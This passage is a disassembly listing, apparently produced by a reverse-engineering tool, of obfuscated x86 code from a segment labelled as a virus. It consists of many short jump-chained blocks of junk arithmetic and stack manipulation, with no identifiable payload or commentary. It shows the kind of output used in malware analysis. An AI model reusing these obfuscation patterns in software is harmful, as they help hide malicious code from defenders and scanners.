		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	small 74B1h
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5865E2:				; CODE XREF: Virus___:0058CF27j
		push	ebx
		mov	ebx, esp
		push	ecx
		push	esi
		push	76A9073Ch
		pop	esi
		jmp	loc_588B7A
; ---------------------------------------------------------------------------


loc_5865F2:				; CODE XREF: Virus___:0058CCA0j
		std
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3A2F01B4h
		sub	eax, 0FB36FB67h
		push	edi
		jmp	loc_588A5B
; ---------------------------------------------------------------------------


loc_58660C:				; CODE XREF: Virus___:0057F7C6j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_584FBA
; ---------------------------------------------------------------------------


loc_586622:				; CODE XREF: Virus___:005911B7j
		pop	esp
		jmp	loc_58D044
; ---------------------------------------------------------------------------


loc_586628:				; CODE XREF: Virus___:0058D51Ej
		add	bl, 0FEh
		jmp	loc_58CF42
; ---------------------------------------------------------------------------


loc_586630:				; CODE XREF: Virus___:005911FEj
		and	dl, 0EBh
		xor	dl, 0DBh
		jmp	loc_58E737
; ---------------------------------------------------------------------------


loc_58663B:				; CODE XREF: Virus___:00593129j
		pop	ax
		jmp	loc_58CA62
; ---------------------------------------------------------------------------


loc_586642:				; CODE XREF: Virus___:0058BB9Dj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_592487
; ---------------------------------------------------------------------------


loc_586657:				; CODE XREF: Virus___:00587DACj
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_588DBA
; ---------------------------------------------------------------------------


loc_58666D:				; CODE XREF: Virus___:0058894Bj
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_58DEAA
; ---------------------------------------------------------------------------


loc_58667E:				; CODE XREF: Virus___:00589B0Ej
		mov	ecx, 6320077h
		xor	edx, ecx
		jmp	loc_58BBA2
; ---------------------------------------------------------------------------


loc_58668A:				; CODE XREF: Virus___:0058BFABj
		add	edi, edx
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58144F
; ---------------------------------------------------------------------------


loc_5866A2:				; CODE XREF: Virus___:005869DBj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		sub	esi, 1368459Ah
		sub	esi, 51236A2Dh
		add	esi, ecx
		add	esi, 51236A2Dh
		add	esi, 1368459Ah
		mov	ecx, [esp]
		add	esp, 4
		push	7031h
		mov	[esp], ebp
		mov	ebp, 1227684Ch
		xor	ebp, 4D996010h
		push	52FBh
		mov	[esp], ecx
		mov	ecx, 351A059Eh
		jmp	loc_593B9E
; ---------------------------------------------------------------------------


loc_5866FF:				; CODE XREF: Virus___:00591FDDj
		push	eax
		mov	eax, 3C542FADh
		shr	eax, 7
		and	eax, 346320Eh
		shr	eax, 8
		shr	eax, 4
		jmp	loc_589B62
; ---------------------------------------------------------------------------


loc_586718:				; CODE XREF: Virus___:00585170j
		mov	ebx, 65930173h
		jmp	loc_592414
; ---------------------------------------------------------------------------


loc_586722:				; CODE XREF: Virus___:005928A8j
		pop	ebx
		jmp	loc_5801F3
; ---------------------------------------------------------------------------


loc_586728:				; CODE XREF: Virus___:0059388Dj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5862F5
; ---------------------------------------------------------------------------


loc_586733:				; CODE XREF: Virus___:0058CB59j
		not	ecx
		push	ebp
		mov	ebp, 294236DDh
		dec	ebp
		add	ebp, 7181F140h
		sub	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		sub	eax, ebx
		sub	eax, 48F8601Dh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58323E
; ---------------------------------------------------------------------------


loc_586763:				; CODE XREF: Virus___:0058C904j
		mov	ch, 9Bh
		mov	dl, 2Ah
		xor	dl, ch
		pop	ecx
		jmp	loc_58032F
; ---------------------------------------------------------------------------


loc_58676F:				; CODE XREF: Virus___:00592785j
		push	79DCh
		mov	[esp], ecx
		jmp	loc_593993
; ---------------------------------------------------------------------------


loc_58677C:				; CODE XREF: Virus___:00581131j
		add	ebp, ebx
		push	esi
		mov	esi, 5169389Ah
		and	esi, 1F6569C5h
		inc	esi
		not	esi
		jmp	loc_584F64
; ---------------------------------------------------------------------------


loc_586792:				; CODE XREF: Virus___:00593E84j
		add	esp, 4
		push	101h
		jmp	loc_580F63
; ---------------------------------------------------------------------------


loc_5867A2:				; CODE XREF: Virus___:00581BEFj
		sub	dword ptr [esp], 68D9182Ah
		push	7F63h
		mov	[esp], ebx
		push	23A9h
		jmp	loc_58515A
; ---------------------------------------------------------------------------


loc_5867BB:				; CODE XREF: Virus___:00589ABAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	5D01h
		jmp	loc_58A530
; ---------------------------------------------------------------------------


loc_5867E0:				; CODE XREF: Virus___:0059056Aj
		mov	esp, [esp]
		jmp	loc_58581F
; ---------------------------------------------------------------------------


loc_5867E8:				; CODE XREF: Virus___:00583AEAj
		add	[esp+4], edx
		pop	edx
		pop	eax
		sub	esp, 4
		jmp	loc_589EF2
; ---------------------------------------------------------------------------


loc_5867F9:				; CODE XREF: Virus___:00589F6Dj
		add	edi, eax
		jmp	loc_582C9C
; ---------------------------------------------------------------------------


loc_586800:				; CODE XREF: Virus___:00589FFEj
		mov	ebp, 7886527h
		sub	eax, 1FDA57B7h
		add	eax, ebp
		add	eax, 1FDA57B7h
		pop	ebp
		shr	eax, 8
		shl	eax, 8
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		not	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	4BC2h
		jmp	loc_593A19
; ---------------------------------------------------------------------------


loc_586840:				; CODE XREF: Virus___:00583D98j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_5882DD
; ---------------------------------------------------------------------------


loc_586852:				; CODE XREF: Virus___:0058DD84j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 74437AA5h
		jmp	loc_587159
; ---------------------------------------------------------------------------


loc_58686D:				; CODE XREF: Virus___:0058BCA4j
		push	edx
		mov	edx, 736A60BFh
		xor	edx, 44F042B4h
		add	edx, 656E74C2h
		shr	edx, 5
		and	edx, 120F1790h
		add	edx, 43DD7620h
		jmp	loc_587C70
; ---------------------------------------------------------------------------


loc_586893:				; CODE XREF: Virus___:0059354Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_582300
; ---------------------------------------------------------------------------


loc_5868A4:				; CODE XREF: Virus___:0058386Bj
		add	ecx, 2F216661h
		pop	eax
		sub	ecx, 4
		jmp	loc_58B04A
; ---------------------------------------------------------------------------


loc_5868B3:				; CODE XREF: Virus___:00582737j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_58AA71
; ---------------------------------------------------------------------------


loc_5868C1:				; CODE XREF: Virus___:0058A04Dj
		sub	[esp+4], ebp
		pop	ebp
		jmp	loc_581BC9
; ---------------------------------------------------------------------------


loc_5868CB:				; CODE XREF: Virus___:005887A7j
		push	0B1Bh
		mov	[esp], ecx
		mov	ecx, 1D5016F6h
		xor	ecx, 623B487Eh
		xor	edx, ecx
		pop	ecx
		add	edx, 350776B4h
		jmp	loc_57FB35
; ---------------------------------------------------------------------------


loc_5868EC:				; CODE XREF: Virus___:00593783j
		mov	edx, 8039DE03h
		jmp	loc_58EA66
; ---------------------------------------------------------------------------


loc_5868F6:				; CODE XREF: Virus___:0058F25Ej
		push	eax
		mov	eax, 42C5675Bh
		sub	eax, 0FA55F2D3h
		sub	ebx, eax
		pop	eax
		jmp	loc_592378
; ---------------------------------------------------------------------------


loc_586909:				; CODE XREF: Virus___:0058E516j
		push	dword ptr [esp+4]
		jmp	loc_581C0D
; ---------------------------------------------------------------------------


loc_586912:				; CODE XREF: Virus___:0058651Ej
		sub	ebx, 42F57C28h
		add	ebx, 35B3115Fh
		inc	ebx
		jmp	loc_58069F
; ---------------------------------------------------------------------------


loc_586924:				; CODE XREF: Virus___:0058D098j
		shr	ebx, 8
		dec	ebx
		shr	ebx, 2
		sub	ebx, 88A512E7h
		mov	edi, ebx
		jmp	loc_580D44
; ---------------------------------------------------------------------------


loc_586938:				; CODE XREF: Virus___:0057FF0Bj
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, eax
		mov	ebx, ecx
		pop	ecx
		pop	eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58694A:				; CODE XREF: Virus___:0058565Fj
		add	esp, 4
		jmp	loc_58704D
; ---------------------------------------------------------------------------


loc_586952:				; CODE XREF: Virus___:0058871Ej
		mov	esp, [esp]
		push	ebx
		mov	ebx, 23147764h
		not	ebx
		sub	ebx, 0B8505F10h
		sub	edx, ebx
		pop	ebx
		jmp	loc_588586
; ---------------------------------------------------------------------------


loc_58696B:				; CODE XREF: Virus___:0057FF8Aj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_58D027
; ---------------------------------------------------------------------------
		push	2E29h
		mov	[esp], ebx
		mov	ebx, 3Ch
		push	2ADCh
		mov	[esp], eax
		push	523612ECh
		pop	eax
		jmp	loc_5871C8
; ---------------------------------------------------------------------------


loc_5869B0:				; CODE XREF: Virus___:00586EB3j
		push	1023h
		mov	[esp], ebp
		jmp	loc_589C59
; ---------------------------------------------------------------------------


loc_5869BD:				; CODE XREF: Virus___:0058EF1Dj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_59289C
; ---------------------------------------------------------------------------


loc_5869D4:				; CODE XREF: Virus___:0059185Ej
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5866A2
; ---------------------------------------------------------------------------


loc_5869E0:				; CODE XREF: Virus___:00590D9Aj
		mov	ebp, 5024D17Fh
		sub	ebp, eax
		jmp	loc_589A1E
; ---------------------------------------------------------------------------


loc_5869EC:				; CODE XREF: Virus___:005903EAj
		sub	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, 3A407BFCh
		add	ecx, 1CF45B39h
		not	ecx
		add	ecx, 57DA16D3h
		jmp	loc_58361F
; ---------------------------------------------------------------------------


loc_586A11:				; CODE XREF: Virus___:0058F5D5j
		or	ebx, 4F4874D3h
		sub	ebx, 3EE80AE5h
		xor	esi, ebx
		pop	ebx
		add	esi, 0F192C5Bh
		sub	esi, 2153BAA9h
		add	eax, esi
		jmp	loc_590D5D
; ---------------------------------------------------------------------------


loc_586A33:				; CODE XREF: Virus___:0058E552j
		add	edx, 4
		push	edi
		jmp	loc_58D843
; ---------------------------------------------------------------------------


loc_586A3F:				; CODE XREF: Virus___:00591CB1j
		and	edi, 50AE2576h
		and	edi, 4C761689h
		dec	edi
		sub	edi, 2003FBh
		mov	edx, edi
		jmp	loc_58FD29
; ---------------------------------------------------------------------------


loc_586A59:				; CODE XREF: Virus___:00583929j
		push	71653ECh
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 6CFB5767h
		sub	ebp, 52B66E71h
		jmp	loc_589F19
; ---------------------------------------------------------------------------


loc_586A75:				; CODE XREF: Virus___:00591C40j
		mov	bl, ah
		pop	eax
		mov	edx, [esp]
		push	ecx
		jmp	loc_58E261
; ---------------------------------------------------------------------------


loc_586A81:				; CODE XREF: Virus___:0058D125j
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586A95:				; CODE XREF: Virus___:00593FC8j
		sub	edx, 96CB9CC3h
		jmp	loc_587126
; ---------------------------------------------------------------------------


loc_586AA0:				; CODE XREF: Virus___:00581659j
		pop	edi
		push	ebx
		push	eax
		jmp	loc_58FB1B
; ---------------------------------------------------------------------------


loc_586AA8:				; CODE XREF: Virus___:0058DFC2j
		mov	edi, 5D912103h
		mov	eax, edi
		pop	edi
		xor	esi, eax
		pop	eax
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	302Eh
		mov	[esp], ecx
		push	2
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_590DA9
; ---------------------------------------------------------------------------


loc_586ADD:				; CODE XREF: Virus___:005940B4j
		push	16FFh
		jmp	loc_583E69
; ---------------------------------------------------------------------------


loc_586AE7:				; CODE XREF: Virus___:005916DBj
		add	esp, 4
		xchg	esi, ebp
		sub	ebp, 5DC33B85h
		inc	ebp
		push	esi
		mov	esi, 70803A52h
		xor	ebp, esi
		pop	esi
		jmp	loc_585E6D
; ---------------------------------------------------------------------------


loc_586B01:				; CODE XREF: Virus___:0058B833j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_582BA6
; ---------------------------------------------------------------------------


loc_586B0C:				; CODE XREF: Virus___:00585E48j
		pop	esp
		jmp	loc_591BDA
; ---------------------------------------------------------------------------


loc_586B12:				; CODE XREF: Virus___:0058941Cj
		mov	esi, 3CFB16A6h
		sub	ecx, 12A968E1h
		add	ecx, esi
		add	ecx, 12A968E1h
		pop	esi
		mov	ebx, [esp]
		jmp	loc_58A9C8
; ---------------------------------------------------------------------------


loc_586B2E:				; CODE XREF: Virus___:005905FBj
		and	ebp, 36644E7Eh
		and	ebp, 50F951C4h
		inc	ebp
		and	ebp, 5DE4D85h
		jmp	loc_5933D5
; ---------------------------------------------------------------------------


loc_586B46:				; CODE XREF: Virus___:0058AEB3j
		add	dl, 84h
		push	73BDh
		mov	[esp], ecx
		mov	ch, 68h
		neg	ch
		sub	ch, 0ECh
		and	ch, 0BCh
		sub	ch, 1
		not	ch
		add	ch, 8Ah
		add	bh, ch
		pop	ecx
		jmp	loc_5884BC
; ---------------------------------------------------------------------------


loc_586B6B:				; CODE XREF: Virus___:0058DB45j
		mov	[esp], edx
		jmp	loc_57FAEA
; ---------------------------------------------------------------------------


loc_586B73:				; CODE XREF: Virus___:0058AB55j
		push	38FBh
		mov	[esp], ecx
		mov	ecx, 38031E79h
		push	5DBAh
		mov	[esp], esi
		mov	esi, 0C7FCE197h
		push	esi
		mov	esi, 218D5572h
		not	esi
		xor	esi, 32D67F6Fh
		inc	esi
		push	eax
		mov	eax, 0D502423h
		push	edx
		mov	edx, 26454444h
		shl	edx, 4
		add	edx, 0A549CB13h
		jmp	loc_592E04
; ---------------------------------------------------------------------------


loc_586BB6:				; CODE XREF: Virus___:0058A87Dj
		add	esp, 4
		sub	al, bl
		push	ecx
		jmp	loc_591E8A
; ---------------------------------------------------------------------------


loc_586BC1:				; CODE XREF: Virus___:00580AF9j
		pop	ecx
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_584B4C
; ---------------------------------------------------------------------------


loc_586BCF:				; CODE XREF: Virus___:0058D9F2j
		add	ebp, 5F538DEh
		dec	ebp
		add	ebp, 0C6DF085h
		and	edx, ebp
		pop	ebp
		or	edx, 6FD54258h
		or	edx, 173B4901h
		add	edx, 8000B4A7h
		mov	ebx, edx
		pop	edx
		add	ecx, 3DEE53CCh
		add	ecx, ebx
		push	1399h
		mov	[esp], edi
		push	ebp
		push	718373DEh
		pop	ebp
		and	ebp, 64BD7242h
		xor	ebp, 20382BDBh
		add	ebp, 1C2A0534h
		push	ebp
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_585EBA
; ---------------------------------------------------------------------------


loc_586C28:				; CODE XREF: Virus___:00580C15j
		push	ebx
		mov	ebx, 541A5F5Ch
		dec	ebx
		jmp	loc_588E42
; ---------------------------------------------------------------------------


loc_586C34:				; CODE XREF: Virus___:005927D7j
		shr	edi, 7
		push	522Ch
		mov	[esp], eax
		jmp	loc_587450
; ---------------------------------------------------------------------------


loc_586C44:				; CODE XREF: Virus___:00581CB1j
		push	ebp
		push	eax
		jmp	loc_58DF31
; ---------------------------------------------------------------------------


loc_586C4B:				; CODE XREF: Virus___:0058C33Cj
		mov	eax, 762051E8h
		xor	[esp+4], eax
		pop	eax
		pop	edx
		xor	edx, 762051E8h
		push	dword ptr [esp]
		jmp	loc_582D32
; ---------------------------------------------------------------------------


loc_586C64:				; CODE XREF: Virus___:00588542j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_58AA5C
; ---------------------------------------------------------------------------


loc_586C6F:				; CODE XREF: Virus___:005850F1j
		add	[esp+4], edx
		push	ecx
		push	ebx
		jmp	loc_58E360
; ---------------------------------------------------------------------------


loc_586C7A:				; CODE XREF: Virus___:005876AAj
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		jmp	loc_584C75
; ---------------------------------------------------------------------------


loc_586C89:				; CODE XREF: Virus___:00587493j
		pop	edi
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_592CE2
; ---------------------------------------------------------------------------


loc_586C98:				; CODE XREF: Virus___:0058D89Bj
		xchg	ecx, [esp]
		jmp	loc_58D09D
; ---------------------------------------------------------------------------


loc_586CA0:				; CODE XREF: Virus___:0058810Dj
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		jmp	loc_584F3F
; ---------------------------------------------------------------------------


loc_586CB2:				; CODE XREF: Virus___:0058CF07j
		mov	[esp], eax
		mov	eax, 757A4CE1h
		neg	eax
		sub	eax, 6DFA4112h
		and	esi, eax
		mov	eax, [esp]
		jmp	loc_593A55
; ---------------------------------------------------------------------------


loc_586CCB:				; CODE XREF: Virus___:0058BD59j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58447A
; ---------------------------------------------------------------------------


loc_586CD6:				; CODE XREF: Virus___:005846EEj
		push	ebx
		mov	ebx, 1760DDC3h
		add	esi, ebx
		pop	ebx
		jmp	loc_5904EE
; ---------------------------------------------------------------------------


loc_586CE4:				; CODE XREF: Virus___:00580AC4j
		pop	ecx
		push	esi
		jmp	loc_58B97E
; ---------------------------------------------------------------------------


loc_586CEB:				; CODE XREF: Virus___:0058507Dj
		and	eax, ebx
		jmp	loc_5897CE
; ---------------------------------------------------------------------------


loc_586CF2:				; CODE XREF: Virus___:0058F846j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		inc	edx
		xor	edx, 2688178Eh
		mov	edi, edx
		pop	edx
		sub	eax, 4BFC4052h
		jmp	loc_58E2BD
; ---------------------------------------------------------------------------


loc_586D1B:				; CODE XREF: Virus___:0057FCDCj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58484A
; ---------------------------------------------------------------------------


loc_586D2B:				; CODE XREF: Virus___:0058064Cj
		pop	esi
		pop	ebx
		pop	ebp
		jmp	loc_591841
; ---------------------------------------------------------------------------


loc_586D33:				; CODE XREF: Virus___:00581B88j
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_58CEBA
; ---------------------------------------------------------------------------


loc_586D40:				; CODE XREF: Virus___:0058B9EDj
		pop	edx
		jmp	loc_5820B9
; ---------------------------------------------------------------------------


loc_586D46:				; CODE XREF: Virus___:005934EEj
		sub	eax, 1FCA21FDh
		pop	ebp
		add	eax, 0E2C1F70h
		sub	eax, 574C0422h
		jmp	loc_58E5E9
; ---------------------------------------------------------------------------


loc_586D5B:				; CODE XREF: Virus___:005870CBj
		xor	ebx, edx
		pop	edx
		jmp	loc_58369A
; ---------------------------------------------------------------------------


loc_586D63:				; CODE XREF: Virus___:00580C65j
		xor	ecx, 7F276DF0h
		add	ebx, 0D3107C8h
		jmp	loc_58AC58
; ---------------------------------------------------------------------------


loc_586D74:				; CODE XREF: Virus___:00588305j
		add	eax, edx
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 63A574FDh
		dec	ebx
		sub	ebx, 28CD5354h
		xor	ebx, 2A93155Ch
		or	ebx, 362201E1h
		push	edi
		mov	edi, 511F0391h
		xor	edi, 2BC757F9h
		sub	edi, 446D1E77h
		xor	ebx, edi
		pop	edi
		jmp	loc_590596
; ---------------------------------------------------------------------------


loc_586DAF:				; CODE XREF: Virus___:005853FCj
		sub	esp, 4
		mov	[esp], edx
		push	32ED65E7h
		pop	edx
		xor	edx, 26FA57A9h
		mov	ecx, edx
		pop	edx
		push	ebp
		push	edx
		mov	edx, 4D8D080Ah
		shl	edx, 4
		jmp	loc_591231
; ---------------------------------------------------------------------------


loc_586DD3:				; CODE XREF: Virus___:00590984j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_58F8D4
; ---------------------------------------------------------------------------


loc_586DEA:				; CODE XREF: Virus___:005908EFj
		not	byte ptr [esp+1]
		jmp	loc_5871B2
; ---------------------------------------------------------------------------


loc_586DF3:				; CODE XREF: Virus___:0058F4B2j
		mov	[esp], edx
		mov	dl, 3Dh
		shl	dl, 4
		sub	dl, 0FBh
		jmp	loc_58FE80
; ---------------------------------------------------------------------------


loc_586E03:				; CODE XREF: Virus___:00585E21j
		add	esp, 4
		shl	esi, 5
		add	esi, 55F851CAh
		add	esi, 0FFFFFFFFh
		not	esi
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 0C59652A1h
		add	esi, eax
		pop	eax
		and	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	ebp, 0E66BD5B3h
		or	ecx, ebp
		pop	ebp
		sub	ecx, 2FDD2AF1h
		sub	edi, 4F617F6Eh
		add	edi, 1C13905h
		add	edi, ecx
		sub	edi, 1C13905h
		jmp	loc_593644
; ---------------------------------------------------------------------------


loc_586E54:				; CODE XREF: Virus___:00582D7Fj
		push	eax
		jmp	loc_589711
; ---------------------------------------------------------------------------


loc_586E5A:				; CODE XREF: Virus___:0058E8E8j
		not	esi
		shl	esi, 5
		sub	esi, 5AD1CD75h
		and	edi, esi
		pop	esi
		shl	edi, 5
		jmp	loc_59039A
; ---------------------------------------------------------------------------


loc_586E70:				; CODE XREF: Virus___:0058A84Aj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DA5E
; ---------------------------------------------------------------------------


loc_586E7C:				; CODE XREF: Virus___:005881F3j
		push	ebx
		jmp	loc_588AE5
; ---------------------------------------------------------------------------


loc_586E82:				; CODE XREF: Virus___:00589087j
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	4ED60E98h
		jmp	loc_58431B
; ---------------------------------------------------------------------------


loc_586EA8:				; CODE XREF: Virus___:005861B4j
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5869B0
; ---------------------------------------------------------------------------


loc_586EB8:				; CODE XREF: Virus___:00588E5Bj
		not	al
		inc	al
		or	al, 13h
		xor	al, 0A9h
		jmp	loc_582BEC
; ---------------------------------------------------------------------------


loc_586EC5:				; CODE XREF: Virus___:0058A74Fj
		push	edx
		mov	edx, esp
		jmp	loc_5914A5
; ---------------------------------------------------------------------------


loc_586ECD:				; CODE XREF: Virus___:00587272j
		dec	ch
		push	ax
		jmp	loc_583A21
; ---------------------------------------------------------------------------


loc_586ED6:				; CODE XREF: Virus___:00594558j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5901F8
; ---------------------------------------------------------------------------


loc_586EE4:				; CODE XREF: Virus___:0059153Aj
		mov	ebx, esp
		jmp	loc_58FF3D
; ---------------------------------------------------------------------------


loc_586EEB:				; CODE XREF: Virus___:00581EA2j
		not	cl
		jmp	loc_5817BC
; ---------------------------------------------------------------------------


loc_586EF2:				; CODE XREF: Virus___:00581A53j
		add	esi, 62615446h
		jmp	loc_59222F
; ---------------------------------------------------------------------------


loc_586EFD:				; CODE XREF: Virus___:005814BFj
		add	eax, 737E4693h
		add	eax, edi
		jmp	loc_58774C
; ---------------------------------------------------------------------------


loc_586F09:				; CODE XREF: Virus___:00591C47j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586F1C:				; CODE XREF: Virus___:005882F1j
		mov	ebp, 156B70E5h
		add	[esp+4], ebp
		jmp	loc_591122
; ---------------------------------------------------------------------------


loc_586F2A:				; CODE XREF: Virus___:00584706j
		push	ecx
		mov	ecx, 1EEE0513h
		mov	edi, 5689001Eh
		xor	edi, ecx
		jmp	loc_58A229
; ---------------------------------------------------------------------------


loc_586F3C:				; CODE XREF: Virus___:00587E1Fj
		mov	bx, 0D953h
		add	si, bx
		mov	bx, [esp]
		push	0D8Bh
		mov	[esp], edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	dx, si
		push	dword ptr [esp]
		pop	esi
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_580F43
; ---------------------------------------------------------------------------


loc_586F80:				; CODE XREF: Virus___:0058A8D6j
		add	esp, 4
		jmp	loc_58624E
; ---------------------------------------------------------------------------


loc_586F8B:				; CODE XREF: Virus___:00584D63j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_586F9E:				; CODE XREF: Virus___:005900A6j
		add	dh, 16h
		jmp	loc_5911CB
; ---------------------------------------------------------------------------


loc_586FA6:				; CODE XREF: Virus___:00584E76j
		pop	ecx


loc_586FA7:				; CODE XREF: Virus___:00588568j
					; Virus___:0058BDA4j
		push	5BE4h
		mov	[esp], ebp
		mov	ebp, esp
		push	4989h
		mov	[esp], edx
		jmp	loc_58858C
; ---------------------------------------------------------------------------


loc_586FBE:				; CODE XREF: Virus___:005901C6j
		mov	ebp, esp
		push	eax
		mov	eax, 2AB21B34h
		jmp	loc_585FC5
; ---------------------------------------------------------------------------


loc_586FCB:				; CODE XREF: Virus___:00591A03j
		push	394Fh
		mov	[esp], ecx
		push	esp
		jmp	loc_581117
; ---------------------------------------------------------------------------


loc_586FD9:				; CODE XREF: Virus___:0057F5E8j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_590846
; ---------------------------------------------------------------------------


loc_586FF2:				; CODE XREF: Virus___:0058055Cj
		push	ebp
		mov	ebp, esp
		jmp	loc_591A4C
; ---------------------------------------------------------------------------


loc_586FFA:				; CODE XREF: Virus___:00581694j
		pop	esp
		add	esi, 135F0807h
		push	dword ptr [esp]
		jmp	loc_58D751
; ---------------------------------------------------------------------------


loc_587009:				; CODE XREF: Virus___:0058F7C3j
		pop	edi
		add	esp, 4
		jmp	loc_587EF2
; ---------------------------------------------------------------------------


loc_587015:				; CODE XREF: Virus___:005892C2j
		pop	esi
		sub	esi, 2EC61938h
		jmp	loc_58548B
; ---------------------------------------------------------------------------


loc_587021:				; CODE XREF: Virus___:00584ECBj
		pop	ebx
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_592FA9
; ---------------------------------------------------------------------------


loc_58702D:				; CODE XREF: Virus___:00582B7Fj
		push	ebx
		push	59AC71E6h
		pop	ebx
		jmp	loc_58755B
; ---------------------------------------------------------------------------


loc_587039:				; CODE XREF: Virus___:0058AF9Ej
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_57FAFA
; ---------------------------------------------------------------------------


loc_587045:				; CODE XREF: Virus___:0058FD4Fj
		mov	ecx, [esp]
		jmp	loc_592205
; ---------------------------------------------------------------------------


loc_58704D:				; CODE XREF: Virus___:0058694Dj
		add	eax, ebx
		sub	eax, 275839A0h
		jmp	loc_58E092
; ---------------------------------------------------------------------------


loc_587059:				; CODE XREF: Virus___:00584066j
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5800E1
; ---------------------------------------------------------------------------


loc_58708B:				; CODE XREF: Virus___:00586528j
		and	eax, edx
		jmp	loc_5815AC
; ---------------------------------------------------------------------------


loc_587092:				; CODE XREF: Virus___:00580D4Fj
		or	bh, 0CBh
		jmp	loc_58D227
; ---------------------------------------------------------------------------


